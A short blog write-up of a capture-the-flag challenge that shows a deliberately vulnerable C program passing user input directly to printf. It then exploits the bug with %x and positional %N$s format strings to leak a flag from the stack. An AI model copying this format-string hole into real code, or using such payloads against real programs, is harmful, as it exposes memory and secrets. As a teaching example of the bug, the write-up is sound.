How printf can be exploited
Last night I was watching a interesting presentation from 0xff about Security applications of language technology and the sponsors were inviting people to compete on the CTF.
The level two had a interesting challenge: with a user input for login, can you access the flag, which as a variable inside that function?
The code looks like this
#include<stdio.h>
#include<stdlib.h>
int login(char *flag) {
char user[10];
read(0, user, sizeof user);
printf(user);
printf("\n");
return 0;
}
int main(int argc, char *argv[]){
char flag[10] = "FLAG{HÄR}";
return login(flag);
}
And the trouble is spotted when we compile this code:
$ gcc test.c
test.c:7:2: warning: implicit declaration of function 'read' is invalid in C99
[-Wimplicit-function-declaration]
read(0, user, sizeof user);
^
test.c:8:9: warning: format string is not a string literal (potentially insecure)
[-Wformat-security]
printf(user);
^~~~
test.c:8:9: note: treat the string as an argument to avoid this
printf(user);
^
"%s",
2 warnings generated.
So, let’s start trying to search the addresses available, for this we need to send the caracter %x:
python -c "print('%x '*10)" | ./a.out
ef1c995e 0 6f68d81e
Now, let’s try to get the values from another format string:
$ for i in $(seq 10); do echo '%'$i'$s' | ./a.out; done
%1$s
��
��
(null)
��
H���
��
(null)
��
(null)
��
(null)
��
FLAG{HÄR}
��